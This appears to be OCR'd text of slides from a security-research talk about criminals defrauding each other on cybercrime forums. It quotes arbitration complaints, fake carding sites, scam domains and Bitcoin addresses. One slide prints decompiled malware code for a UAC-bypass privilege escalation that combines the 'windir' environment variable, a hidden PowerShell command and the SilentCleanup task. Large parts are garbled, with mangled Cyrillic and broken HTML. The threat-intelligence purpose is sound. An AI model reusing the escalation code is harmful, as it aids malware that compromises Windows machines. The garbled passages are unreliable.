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Intro

This talk

We're going to talk about criminals who rip each other off on
cybercrime forums (‘metaparasites’) — and why that’s not only
interesting, but also provides us and you with insights and
opportunities



Key objectives

= Discuss the metaparasite ecosystem
= Share how various scams work, and why, through case studies

= Share why this is important



Welcome to the jungle...

“So nat'ralists observe, a flea
Hath smaller fleas that on him prey;
And these have smaller fleas to bite 'em.
And so proceeds ad infinitum.”

- Jonathan Swift



The forums

Breach Forums

Relatively exclusive

Popular AaaS
marketplace

Mostly Russian-speaking

Approx. 2500 reported
scams

Formerly DaMaGelaBs
Less exclusive

Mostly Russian-speaking
Aaas listings

Approx. 760 reported
scams

Successor to Raid
Forums

English-speaking
Less exclusive
Specialises in data leaks

Operational since April
2022




My claim: NO payment for over two months for the exploit handed over on October 2nd, 2021 (the agreed sum was USD 130k)

Claim details:

On October 2nd, 2021 integra, using his alternative nickname (Alex-Zero) and posing as a foreigner (an American), received from me an exploit. Specifically,

a Windows Kernel LPE x86/x64 exploit (from IL medium integrity) for the whole range of Windows distributions, starting from Win75P1. The agreed upon price was USD 130k,
He promised to make the payment after running tests.

This story consists of four stages. At each stage he gave different excuses for delaying the payment.

Stage 1:

He swears he will pay within a week, as soon as he gets the test results from either his partner or his staff.

At the end of the week it becomes clear that he (integra, aka Alex-Zero) is no longer part of the company I was collaborating with {(more on this later). Which means that integra was
blatantly lying right from the start, even before we made a deal.

Stage 2:

integra claims that the FBI had raided their company and had frozen their assets (FBI, Carl!), but they somehow managed to straighten things out. Overall their business is still okay,

up and running, however, the working capital of this "broker” is tied up. Meaning that it'll take a while to unfreeze the assets/accounts, and that he's busy doing precisely that.

So he concludes by offering an alternative option. Sic(!), integra has a few exploits in his possession, one of which is _almost working_ (about 90%). So he makes me an offer to

get this exploit to work so he can pay me sooner. Not bad, isn't it? To offer me to finish off somebody else's exploit in order to sell it and use that money to pay for what he has already taken!
Researchers reading this, make good note of this tactic.

Stage 3:

A months passes by since integra received a working exploit. He makes up another excuse. In short, he says he is supposed to receive "pretty soon” (within a couple of weeks) a payout for an
exploit that he has sold. And then he will make his payment to me.

After the aforementioned two weeks have passed, the money is still not there. Nor is there any solution. integra says he is "exploring his options" because "his parters have let him down".
Stage 4:

integra allegedly finds a buyer for my exploit (what else did you expect, he's a fence). T am supposed to just wait until they finish testing and buy it. According to integra,

I will get my payment _immediately after_. The result? The tests have passed, but there's still no money. Cool, right?

Speaking about my history with integra (aka Alex-Zero). It was my second deal with their company. The first deal had taken place a few months earlier, so there was some trust earned.

As you can see, for nothing. I didn't come to him. Mo, it's the opposite. He came to me offering to buy a new exploit.

To prove the aforestated facts I here attach our chat, devided into two parts.

Proof that integra and Alex-Zero is the same person:

- the defendant was informed that, should T not receive payment for the exploit, T will make this incident public.

- I have shown to him the evidence supporting my claim that I have identified him as Alex-Zero. What do you think happened next? The defendant ran off to alter his previous posts,
thus discrediting himself even more.




Aug 13, 2015

Mz0 OHA B AeHb Kyua Moaeid NonajasTca Ha punnepckle dopymel. CTaHoapTHaA CEMa, EaM r[Oe-To Ha TpacToeoM Gopae HEHABAZUMED O30T JIMHE, MO "8 TaM NMOoKynan, TaM NpoeepeHHbIa”
Bbl o0pallaeTecs K CEMNepy Ha TOT (OpyM, OH BAC HANPaBNAET K GUKTUEHOMY “TapaHTy", Bac kmaatT. Bce npogaBubl HA TAKOM pUNnepckoMm ¢opyMe, agMHH W FAPaHT - 3TO OAMH M TOT e YEeNoEeK.

CobMpaeM CCuINKKM Ha pvnnepckie Gopael. 3HaATE, ecny BaM 4anM NMHK Ha TaKOW, 3TOT YENOBEK - KMaana
RIPPER ccc.gs

RIPPER ccc.min

RIPPER ccc.hin

RIPPER ccc.sb

RIPPER embargo.cc

————— BEGIN PEPF SIGNED MESSAGE-———-—

Hash: SHAZ56

The first of every month I will update this thread with a monthly transparency report, signed with my PGP Eey. My PGP Eey is
located at https://pompur.in/pgp.txt, and the ID of my PGP Eey is 73F3 1225 DF78 1417 CYSFF 37FC D18E 1ADD DDF4 S020.

I confirm that:

1) 211 cur infrastructure is 1n our control.

2) We have not been compromised or suffered a data breach.

3) We have not gotten any legal requests from law enforcement.

If there are any months where we receive a legal notice from a Law Enforcement Agency and it is either invalid or doesn't apply, it
will be included in the report.

If this thread isn't updated on the first of the Month then assume the worst.

RIPPER carding.team

RIPPER public-server.com.ua

RIPPER criminalbz

RIPPER cop.su (OH ¥e B npownoM embargo.cc)
RIPPER carder-club.pw

RIPPER carder-club.org

RIPPER mOza.pw

RIPPER fraud-jlk.pw

RIPPER demOs.info

RIPPER direct-connection.me



Arbitration rooms

Black List

Commercial disputes, positive and negative reviews about users, suspicious individuals, the list threw.

FORUMS

Arbitration

/f:"‘ Disassembly and discussion of blek. At first black is created in the Arbitration and is discussed. If the fault of the scam is proven, the black is moved to the "Black List", and the scam is
“J  set to status.

Black List
* This section includes proven blacks from the "Arbitrage" section. There are rippers who already have status.



Arbitration processes

#20

I bought aws with console from him and the aws password was changed the next day which i complain to him and he said it wasn't change, that the cc he use was detected(account was suspended due to payment he
said) and so he will replace another one for me, he then came back today lying that I was the one that make it stop working because I used it and they detect the account as suspended bounce. how can I use account
that the password was change and I asked him how do you sfill have access to it if it was hacked, he answered me back and sald he hacked the account again and he round out that I used the account to send already.

This forum account is currently banned.

Selling Public Data. Registration IP: Last Known IP: @protonmail.com
Banned By: pompompurin — Ban Length: Permanent (N/A remaining)

I never have committed such stff what this person is acting , i have sold him AWS and he have used aws , i have sent all proofs of AMAZON SUPPORT reply , this person used the AWS , amazon support blocked the
aws for sending suspicius emails, i have sent him proof from amazon support , also i sent him proof that account from him was used , i have all chat logs and also amazon logs and cloudwatch logs that he used the
AWS then later came asking for replacment , this is typical way of scamming , he used the AWS , blocked it then came here to complain fake , if necessary i can post all logs conversation , telegram logs , amazon
support logs , cloudwatch logs. This person is total scammer and ripper

Closed because lack of evidence.




Welcome to the jungle

Not just small-time crooks

Jun 3, 2022

lan 13,2022
This user suggested a vulnerability in our store in private messages.

He sent beautiful videos that everything works, and you can pick up a password recovery phrase from accounts.
He demanded $5,000 for everything.

We sent an advance payment of $2000.

After the prepayment, nothing changed, he also sent a video of the work of his script, and to requests to show the request that he sends to the server, he replied that he would not send anything, and demanded more money.

Link to our correspondence fconversations/67247/
2000% can not be returned. We will not become homeless from this money.
The user is requested to be banned.

User profile link: /members/200707/

M Toro 14k

Paboty BeinonHWAN coenan 3TiM pebatam 80K Tpada C Wwennoe He 0QHOKpaTHO Nokazwlgan TDS roe TpadgHk

X23 posted a topic in [Finance] - biling, banks, accounts, loc

i eI buy Canada Logs



...we got fun and games

“I'rip and run.”

- Omar Little



Rip-and-run

Name: @bankrolrich (telegram) ,

RootExpleit was supposed to provide a builder for his xls macro with a number of stubs prepared for sale for the price of $4000. After a test, I made payment, but the builder never arrived. This was 5 hours age. The intended delivery time was
in 1.5 hours, maximum. He has stopped responding to any messages. I have logs of the conversation that I will deliver to Admin at request, and if does not respond or otherwise fix the situation.

If anyone has information about him, please PM.

Time of scam: 5h ago




..we got fun and games

Fake leaks and tools

Posted September 16, 2021

kilobyte
o0 And he refuses to refund, so I'm here to initiate arbitration with all the cards and chats he gave me
He said at the auction that the cards were up to 35%valid
s If.
X

And I confirmed with him on Jabber that after I gave him the money, only 217 of his 2300 cards survived, including 50 code 51.

@B5G777

Below are the screenshot of all our chat/ Agreement




Referral scams

You trust him?

A . X
@ He acts like ripper

Yes

He introduced me to a ripper. I paid 240% for specific conf here below. STAY AWAY FROM @HE JalulEuELl he will introduce
You to rippers. He s trust

Here is how the conversation began "He told me he had z

N
@ How long does he take to make program

Below here is me and this ripper conversation he charge 1 He made for me in 3 hours

Three days go by no response from the ripper or w

a 7
Dont trust he is liar and bad business. (HE is r ® Bro he’s takmg forever to make my brute

72

&

Y
@ -



Alt repping/impersonations

Hallow Guys,

Posted March 22 50 since there is some Dude usin my Nick to Scam people, | just wanna warn you Guys!
I am NOT on Teleg. and even more not usin KN4CK3R as Nick.

I checked the situation. theeb ﬂw,ﬁﬂ El rpose of creating this topic Is
generally incomprehensible fx
and get T

B R, Bring me his Head (Data and/or Info/Dox) and will spend ya some big Coffee as Crypto

Ah btw it was on ExpL Forum...
And NO | dont speak Russian at all

Proof: See Atach files



Fake guarantors

Posted March 1 (edited

= —— =
ADRr LA Y
4 # AL A, LWL L

Wl K Svaciar
allis h

o byobTe OCTOpPOMHBI - (@Xssadmins { TenerpamMmM )
REF

OAHHBIA K3ep NPUCYTCTEYET TYT Ha (hOpyMe HO ero Nnpodune He U3BECTEH MHEe

Apr23 ____

Hello. Refusal of a guarantor or a de

Edited March 1 by BooneCraft

+ Quote



...we got fun and games

Blackmail

Scam 400%

Blackmailed by the user with this telegram: @nikmapko and user Vekewaz

We agreed to sell him 4 countries with 1 million data for 800 USD then he wanted 2 countries upfront and 2 countries after.

I send him 2 countries of 400k data, but he wanted more upfront, then he blackmailed me he will start a topic here and tell I am a scammer if I don't send more data upfront, I sent him another 250k data, so in total

650k but he never paid the rest of 400 usd.

This is the thread he started to blackmaiing m | < he closed it after I sent the data.



..we got fun and games

Backdoored malware

There is for sale a product named CYPHER RAT!

I bought axie infinity fake from him. i noticed that all high balances were being swept as soon as the logs came in. so I decided to set a trap to be sure. i created a wallet with metamask and sent 0.3 ETH to the wallet
and then i submitted the metamask seeds phrases of the wallet to the script. the entire balance of the wallet was withdrawn as expected. that was how i confirmed that he put a back door in the script that steals all
my logs. He has a copy of every log that comes in.

The fake was hosted on a digitalocean server that i created so there is no third party interference. has all wallet seed phrase from my project which is well over 500 seed phrases. He has taken all high
balances from wallet.

i can provide the fake file that he gave to me for inspection.

The Telegram channel of this SCAMMER is: hitps://tme/CypherRat0

Please see the evidence:
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...we got fun and games

I
| SCAMa "
ALEFQMMM

2

KEEP CALM AND g0 CS:GO - F*** you S ;CAMMERS Snapbac.. Scamming Leeky Band.

“Give me an offar
We will never let you go after scamming us

.‘ | = e s ses ;-) ﬁ
j mchfmumz?

your ‘ou big fool.
2 ‘OUR
YOU ASSCOPTER
The Facebook and Sky scammer to ( ammers won't stop with.. Credit-for-Se
.I ™ ANRI TYUR InImw v
SCAM US

[ ns: the ‘




The Curious Case of Twenty Fake
Marketplaces

“I' am the one who kreeks scams.”

- Walter White



Starting point

RULES WE ARE NOT RESPONSIBLE IF YOU GET SCAMMED /d/H_M HOTMILK FORUM/SHOP - -
2 . SCAM BEWARE - Do not post fullz  NO ADVERTISING - DO NOT POST CONTACT INFO - NO _

@‘ QETME! pRECT LINKS - NO DIRECT DEALS + NO SOURCING - NO PARTNERSHIP REQUESTS (unless € $0.00 O Login
vetted by mod team) - DO NOT SPAM * NO SCAMS ... Read more

oy
f % =
@ A g— — L]

B Uncategorized

% leave a comment

Deposit $100 USD icess to our entire database.

Deposit Amount M4 ke mo ney

May 10, 2022 by admin
Send 0.0025 BT!

RULES WE ARE NOT RESPONSIBLE IF YOU GET SCAMMED /d/H_M HOTMILK FORUM/SHOP
SCAM BEWARE - Do not post fullz + NO ADVERTISING * DO NOT POST CONTACT INFO « NO
DIRECT LINKS + NO DIRECT DEALS * NO SOURCING * NO PARTNERSHIP REQUESTS (unless

vetted by mod team) - DO NOT SPAM + NO SCAMS ... Read more




A curious case

> C B8 view-source:https://genesismarket.org/members-shop/

The muctarv doanai sourcentes:

BENUMB.E=

<col class="ninja column 1 ">
<col class="ninja column 2 ">
<col class="ninja column 3 ">
<col class="ninja_ column_ 4 ">
<col class="ninja column 5 ">

<col class="ninja column & ">

</colgroup>
<thead>
<tr class="footable-header"> }1
e e e <th scope="ccl" class="ninja column 0 ninja clmn nm bin ">BIN</th><th scope="col" class="ninja column 1 ninja clmn r
</thead>
Deposit $100 into your on- <tbody>

<tr data-row id="508" class="ninja_table_row 0 nt_row_ id_508">
<td>VISA<L/td><td>4539% % ¥ d*x e *5500</td><td>10/1/2028</td><td>**6</td><td>»$5051.00</td><td>525.05</td><td></td> </tr>
<tr data-row id="50%" class="ninja_table_row_1 nt_row_id_509">

We require this deposit to maintain a communit <td>VISAL/ td>< Xk ek kk k3090 </ £d><td>8/1/2023</td><td>**9</ td><td>$5622. 00</ td><td>5$25. 62</ td><td></td> </tr>
. f . . <tr data-row igFE"510" ass="ninja table row 2 nt row id 510">
< — — — — — — —
our time. This gives our team time to focus on ¢ <td>VISA</td> ok kkk 4830</ td><td>T/1/2024</td><td>**8</td><td>$7482. 00</ td><td>527. 48</ td><td></td> </tr>
members. <tr data-row id="511" Cl\SS_"nlnjd table row 3 nt row id 511">

<td>VISA</td <td> 2ok dekk ko §340</ £d><EA>11/1/2022</ £d><td>**8</ £d><td>$8997 . 00</td><td>$31.00</td><td></td> </tr
<tr data-row clais="ninja table row 4 nt row id 512">

If you are a novice we Slrl}ngly recommend lear <td>VISA</tr ><td>4929% k% & ** ’*8640-\/td><td>3/1/7 5</td><td>**7</td><td>56814 . 00</td><td>526.81</td><td></td> </tr:

<tr data-ror id="513" cla:s="ninja table row 5 nt row id 513">

great resources, guides, and a community of ex <EA>VISAC/t [><td>4024% %% %3 ¥%%%1010</td><td>2/1/2 /td><td>**0</td><td>59893.00</td><td>529.89</td><td></td> </tr:

browser to access this forum).

<tr data-ror id="514" class="ninja table row 6 nt row id 514">
<td>VISA</t [><td>4539% % ¥+ k%% %9090</td><td>5/1/2022</td><td>**5</td><td>$5587.00</td><td>$25.59</td><td></td> </tr
<tr data-ro ' id="515" cla:s="ninja_table row 7 nt_ row id 515">
<Ed>VISPA~. o ><td>4532% % & w *%5170</ td><td>7/1/2022</td><td>**1</td><td>$4668 . 00</ td><td>$24 . 67</td><td></td> </tr
<tr ~ .ca-row id="516" cla; "ninja table row 8 nt row id 516">
<’ L SVISA</td. <td>4716% %% kkx*1780</td><td>6/1/2 Jtd><td>**T7</td><td>$1620.00</td><td>511.62</td><td></td> </tr:
<tr data-row "517" ¢lass="ninja table row 9 nt row id 517">
<td>VISA</td>< £d>4556% % ~+* % *+1830</td><td>3/1/2027</td><td>**3</td><td>£3117.00</td><td>519.12</td><td></td> </tr:
<tr data-row ia="5 2lass="ninja table row 10 nt row id 518"
<Ed>VISA</td><tds 17 oxkxkkkx x5 0200</ td><td>3/1/2022</td><td>**4</td><td>$7692 . 00</td><td>$29. 69</td><td></td> </tr
<tr data-row id="519" class="ninja table row 11 nt row id 519"

VISA L LNV ddadabatal - T 11
VISA 492g¥kkkickik 8 54()
VISA 402 4wtk ()70
VISA 453 9%k g()g0
.: VISA = DR
VISA 7] Gt 7R

d>524.82</td><td></td>

TT71 <td>VISA</td><td>4916%***kk#*%()550</td><td>10/1/2022</td><td>**3</td><td>$4824.00</td><
<tr data-row id="520" class="ninja table row 12 nt row id 520"
<Ed>VISAL/ td><td>455G% %% xkkkx%2170</ td><td>4/1/2024</td><td>**6</ td><td>55847 . 00</td><td>$25.

85</td><td></td> <

311, <tr data-row id="521" class="ninja table row_. nt_row id 521™:
SEd>VISAL/ Ed><td>453 9% **** ¥k x* T7E0</£d><td>8/1/2027</td><td>**2</td><td>57539.00</td><td>531.54</ td><td></td>
1 <tr data-row id="522" class="ninja table row_14 nt row id 522™: S
2/1, <td>VISA</td><td>4024%** ¥+ % %% 9280/ td><td>8/1/2026</td><td>**5</td><td>$6995.00</td><td>527.00</td><td></td> <
<+r Aata—row iA="E23" Alace="ninia tzhle rrw 15 nt reow id 523"
5/1/2022 5 $5587.00 $25.59 ~QEE Ite
7/1/2022 cad] 54668.00 824.67 > H e

6/1/2023 iiadf $1620.00 $11.62 9 EH e



F lnecrmvravinea Hlha nmnAatiararvl,

— =
W‘Al Li CASP‘D'!:'

PoisO | SEIRE

STARTER

$§99

One-time

Updated March, 2022

Instant access to these guides:

Paypal cashout
Venmo cashout
Cashapp cashout
Gift Cards method

= JOIN NOW

1 Benumb CC autoshop is now accepting signups without an invite code

rn

BB Join Now &2 Free Guides

SMARTER

$199

One-time

Updated March, 2022

Everything from Starter and...

Loans up to $50,000
Bank drop creation
Moneygram
Stripe
Coinbase
Kraken
ChangeNow
Binance

Checks

= JOIN NOW

® Forum Q 3

$§299

One-time

Updated March, 2022

Everything from Smarter and...

Loans up to $100,000
Method for all major crypto exchanges
American Express
Fannie Mae credit line
Wells Fargo credit line
JP Morgan credit
Tax returns

The Cashout Bible

= JOIN NOW
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The full list
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genesismarket.org

wwh.club
brians.cards

uniccards.com
benumb.cards
yalelodge.cards

unic.cards
poisOn.cards
poisOn.shop

genesismarket.app

benumb.shop

benumb-cc.shop

bydto.com

cashouts.guide

bennumb.cards
benumbiernglud55izbw4mdubush4zhzpgdrw3c2j6ew3ggpzbb7gdqd.onion
shops4knpoaodqdvs3tgzctkwk2cotbnggtyfpfxjuno23brpzpaquyd.onion
jdj245araf5zxzd6z342a7cmakooyx3g7rtdoluffubzimjshtbkpsid.onion
benumbie55bw4mdubszhzpg4rw3c2j6ew3gpzbb7gdqd.online

rainblack.com

06/09/2021
09/05/2022
22/02/2022
09/02/2022
28/08/2021
09/02/2022
09/02/2022
22/04/2022
22/04/2022
27/04/2022
N/K

27/04/2022
08/04/2022
10/03/2022
17/02/2022
N/A

N/A

N/A

23/06/2022
07/06/2022

104.21.93.153,172.67.211.81
172.67.141.218,104.21.94.243
104.21.88.46,172.67.172.139
172.67.148.118,104.21.47.149
172.67.218.63,104.21.86.106
N/A
172.67.157.148,104.21.40.232
N/A

N/A
172.67.167.31,104.21.42.222
N/A

N/A

104.21.84.253, 172.67.200.36
104.21.41.77,172.67.162.15
N/A

N/A

N/A

N/A
104.21.56.76,172.67.180.73
172.67.219.209,104.21.94.51

Tucows
Porkbun
Tucows
Namecheap
Tucows
Tucows
Tucows
Tucows
Namecheap
Tucows
Namecheap
Namecheap
Tucows

Hosting Concepts B.V.

N/A

N/A

N/A

N/A

Gransy s.r.o.
Porkbun

Cloudflare
Cloudflare
Cloudflare
Cloudflare
Cloudflare
Cloudflare
Cloudflare
Cloudflare
Cloudflare
Cloudflare
N/A

Cloudflare
Cloudflare
Cloudflare
N/A

N/A

N/A

N/A

Cloudflare
Cloudflare

A curious case

1QF54J6rXo053ig93XggX7rXtWSC2zemnS
18EFRk7XtHLPXnGDkz2Z79g2Juk5pppaWgH
15NGE3k3RsCw4dFRVXYjpW2xsNyT96hNuE
1Q5AKMFfhV2jTulljpm1pMP7qabApeSXr
1Q5AKMFfhV2jTulljpm1pMP7qgabApe9Xr
1QF54J6rXo0053ig93XggX7rXtWSC2zemnS
1QF54J6rXo0053ig93XggX7rXtWSC2zemnS
1KjZcgsTh9SZJiLDHBYQem96Z4CwbgQPL2
14KRaiCZp2zYPyRqVd3AHbyjT6qPcSNnMKn
N/K
18EFRk7XtHLPXnGDkz2Z79g2Juk5pppaWgH
N/K

N/K

N/K

14ZFe4BH5Fdfvdyndxfk4rwltf3oPHjTgS
bc1gn2gfx8x9t234s8ncs80k3mrf5359g34xkxj0j8
15NGE3k3RsCw4dFRVXYjpW2xsNyT96hNuE
1FWrm3Z1g2W4kEQXgsUyHXEk2S9dTVK54P
N/K
bc1qg2jw57fy5cf5rrdcdjcdwz34nin5xmycpunzay8
N/K



A curious case

A lucrative enterprise

= Only BTC (XMR balances hidden by design): $132,000+
= Current balance: $1,633.34

= Some addresses made first txn before associated site(s) registered

0 So some inputs unrelated to scam

= Final tally: at least $87,676



In lieu of a fully functioning Recon,
perhaps in the meantime we need a
directory where vendors can personally

SR P T ) R A, A oo v £ 0 LTl

sc [ 4 iuPsymposia

W Nice work. Great research. Thank you so much for keeping an eye out for the community. - like this need to be burned, withered, and peeled to extintion to make the darknet markets safe again.

Al Reply Permalink Report Sgwe Give Award

. B 4 /uipatron_saint_of_phishers
clever ...doesnt he/she actually vend drug as well?

Feply Permalink Report Sgwve Give Award

' A |y/exposedall
W He did/does. He is retired from vending (I think)

L]

Reply Permalink Report Sawve Give Award

Every single site in the carding section is a scam he runs. Most impersonating established sites and some he made himself. All of them link back to dark markets in the footer. He didn't "accidentally” list them. He runs them

Walt might have a completely reasonable explanation. Tag /Juwaltcranston

moving parts, and they've got too much shit on their plates Wlth Dread. In un:ler for Recon to work,
market admins have to properly implement the API and it's understandably difficult and time
consuming to do so. | have heard rumors that it is being worked on, but not sure how true that is.

Either way, a self-published directory could be a good stop-gap until Recon is ready.




Feb 19,2022 € 0O s

T Telegram- @gabellaraid

Link to his profile-

We talked via telegram, I bought some USA corps from him as he claimed they're fresh but they are not. He gave me junk then i asked for w2 1040 2020, he gave me samples then i paid him for 10 fresh w2 1040 2020 , after payment he told me
he is 1-2 hours away from home after disturbing me to pay, then it took him 4-5 hours to responde, then he said he does not have w2 1040 that it's bad and he will give me fresh corps(all his corps are old and junk), i declined that i wanted
what I paid for, so he never answered me again. Then i messaged him on my other telegram, he answered ,then i ask for w2 1040 samples, he sent me the same samples again ,then gave a price and this made it clear that he is a scam piece of
shit. Uptil now, he never answered me again and he still asking me to pay on my other telegram. I have proofs attached. First pictures are my from my telegram, second pics from my other telegram.
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HY AGHLIW A OTNP3BUN ECM UTO 1545 s

GK 37O H3 JOATO? 1505 s
' GK CTPaHHO! Thi HEro Nponan?) . 16
GK ) Hy OK! 7 TOrA3 Ha GOPYM Ha TebR abyzel NUWY (595 s
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L 1011
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onﬂﬂmme v ﬁ McnonbzoeaHo 0% nuMuTa

a- ©MNLTP > COPTHUPOBKA = he I | 0]
telegram : (@rianoldes —
Bbl v important = AH & B Gecege 2 nonb3oeaTens (BKNYanA Bac)

Maysquol - FUD ~
(IDOUMTAHD: 3 MUHYTEl HESAD Npousraso: 17 anpens +
prcpeller POUMTAHD: 3 MUHYTH Hazan pouuTaHo: 17 anpena "

hi bro you are selling my...

chipdd u Bb -

FUD © 50 Xanoba Ha oTBeT
. hello Becega cozgaHa: 17 anpens

bro see good maker ADS...

FUD W Bb 17 anp _ )
o bro see good maker ADS for android bot in https://sca.su
my advice bro
android bot no thanks
Are you selling android bot?
Bol v mkdiretc LhE
+ Uutata
hello =
yes =
Turh u Bb 24 daHB
O OteeTuTb B beceay...
apkmorp
maysquol@xabber.org ﬁ
Bbl 1 GoldenCrypt 9 AHB
TNOUCK COODLUEHHI B 3TOA Nanke. .. &
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Posted July 28, 2021 (edited) RECEIptS

Hi, So i made a deal with user @ImComplexed

Sedit
last s The deal was to encrypt my Virus.exe X

I 6 He told me he would make 2 encrypts

3TC
1.Virusl.exe Spreading

2.Virus2.exe For Updating bots
I am not going to post the full conversation here only what is most important and moderator can verify that user @imcomplexed leaked this conversation not me so its not edited!

1.
(4:48:55 PM) imcomplexed@xmpp.jp/16125058162384878926463731298: U buy 1 stub for spreading
(4:48:58 PM) ME@xmpp.Jp: Yes
(4:48:59 PM) imcomplexed@xmpp.jp/16125058162384878926463731298: and 2nd stub for update bot.
- (4:49:03 PM) ME@xmpp.jp: Yes
,  (4:49:08 PM) imcomplexed@xmpp.jp/16125058162384878926463731298: This update stub will not get detected.
- ‘-,'@ (4:49:12 PM) imcomplexed@xmpp.jp/16125058162384878926463731298: if u follow my guide.
"/' L ‘ (4:49:16 PM) imcomplexed@xmpp.jp/16125058162384878926463731298: Meaning u will hold long .

So here is when the cheat/scams begin:

2.

(5:04:03 PM) imcomplexed@xmpp.jp/16125058162384878926463731298: i exeecuted
(5:04:05 PM) imcomplexed@xmpp.jp/16125058162384878926463731298: it connected
(5:04:08 PM) imcomplexed@xmpp.jp/16125058162384878926463731298: check if u see me.
(5:04:14 PM) ME@xmpp.jp: wait

(5:04:23 PM) imcomplexed@xmpp.Jp/16125058162364878926463731295: [ 235
(5:04:25 PM) imcomplexed@xmpp.jp/16125058162384878926463731298: that ip

(5:05:04 PM) ME@xmpp.jp: what country?

(5:05:12 PM) imcomplexed@xmpp.jp/16125058162384878926463731298: spain

YW (5:05:15 PM) ME@xmpp.jp: Yes

nej (5:05:34 pM) ME@xmpp.jp: DESKTOP-| N

(5:05:50 PM) imcomplexed@xmpp.jp/16125058162384878526463731298: yeah

(5:05:53 PM) imcomplexed@xmpp.jp/16125058162384878926463731298: ok u can send here
(5:05:55 PM) ME@xmpp.jp: everything OK, let me pay
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[lanee q)aﬁn BHaAMyO AponaeTcs M 3anyckaeTcs, 4To eCTb ManeapbKa ONnATh XKe MeaxKoaa.

/ Token: @x06000642 RID: 1682 File Offset: ox08027A94
[STAThread]
public static void _bytes wiypdnssebows()
{
try
{

.TestAdmin())
y.CurrentUser.OpenSubKey("Environment”, true).SetValue("windir”, “"powershell -ep bypass -w h -Command \"& " + Assembly.GetEntryAssembly().Location + "\";&",
tryValueKind.ExpandString);

Sta -I 'y =
{
i Style = ProcessiindowStyle.Hidden,
i & = "schtasks'
Arguments = “/run /tn \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I"
}
}-Start();
Environment,Exit(9);
}

)

catch

{

)

}
}

namespace
{

_wind

// Token: 2x@280@22A RID: 10
internal class _
{

dows

o
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waterfox and in 48 min i will start deal with u
waterfox send screenshot?

waterfox hello ?

waterfox received the money

waterfox now we are ready to start the deal
waterfox need to buy today

waterfox now®

waterfox now when we r ready to buy, u dont reply

fabius leave, I'm ready!
fabius beclgedwllcdyugstw2xmpefhlzlfojtnsléns3cmgl

waterfox N555
waterfox escrow
fabius ok

fabius

here is m rofile, create
favice N

uaterfox I

waterfox check chat
fabius answered in chat
waterfox start deal
waterfox write all detail
waterfox 508% - deal

fabius «cisco access user

fabius _https: / /. zoominfo. con NN

watertox can u start escrow deal?
waterfox or i start?

fabius i start

waterfox i start ?

fabius vyes

U 0 [FEVERLY

fabius protected

waterfox accepting the deal

waterfox accepted

waterfox now- i sent payment to the escrow

waterfox hi

waterfox sent payment to the escrow

fabius waiting for payment

waterfox walting for confirmation

waterfox then it will show payment confirmed

waterfox then you will receive notification about payment to escrow
fabius +

waterfox and you send the access and 1 check, verify
waterfox and release the money

fabius how long do you need to check access?

waterfox we will check

waterfox asap, dont worry

waterfox Hey- be ready to send access, after confirmation

fabius wait confirm



& uTox (Alpha) (version : 0.18.1) - X

' Windefender
Toxing on uTox, from the fut z m:,tzrox
it Windefender From 20:21:56
' Nsecurity hello 20:22:03
- Toxing on qTox 07F5797552F596432E7E381E38C479D0C5B6A2693FA97273987A10609E5AB953 is now known as Nsecurity 22:12:58
,.‘ Create Groupchat T rjlf; zz :i;:
Y Windefender Hiregarding exploits 22:19:00
twitter fb etc 22:19:09
Nsecurity yes 22:19:32
22:19:37
= 22:19:43
Link to profile : 22:19:56
22:20:21
Claim amount : 150 usd 222106
22:21:16
jabber : icecode(@]jabbim.cz 222227
22:22:52
22:22:54
22:23:09
Ic3cod3 contacted me trough pm, we chat on jabber. oo
He was going to make an .exe software for me, i paid the man on saturday, promised to have it finish in 2 days, [
this guy is nowhere to be found since sunday. e
22:25:19
for proofs / convo / transaction mod please PM me and i send everything. e
Fayment aepenas on impact of explol am always Iinterestea in Uaay a y 22:26:01
ok Which windows versions? and c86 and x64 both? 22:27:42
4 Dogs this exploit affect the current target version? 22:27:57
vwh[a-tirzfs menas?
means*? 22:28:06
Nsecurity it effecting both 22:28:22
x64 and x86 22:28:32
Windefender price? 22:29:00

»
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Conclusion



Key takeaways

= Arbitration threads can be a valuable source of intelligence

0 Can complement both tactical and strategic Tl

= Some marketplace/forum users are susceptible to deception
0 Defensive techniques involving these approaches are worthy of more exploration
0 Honeypots, canary and decoy data and profiles, etc

= Details of specific scams, techniques, and fake sites
0 It’s not just threat actors at risk — also inexperienced researchers, journalists, the generally curious
0 Or harvesting their credentials/accounts
0 In the future, we may see deliberately deceptive forums



Future research

= Detailed quantitative studies of scams
= A broader range of marketplaces and forums

= Unusual/novel scamming techniques



Further details

= Detailed series of X-Ops research blogs
= 4 parts, starting today

= news.sophos.com

[DESIRPTO KNOW MORE INTENSIFIES]




Thank you!
Any questions?

Matt Wixey Angela Gunn
@darkartlab@infosec.exchange @agunn@infosec.exchange
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Cybersecurity delivered.



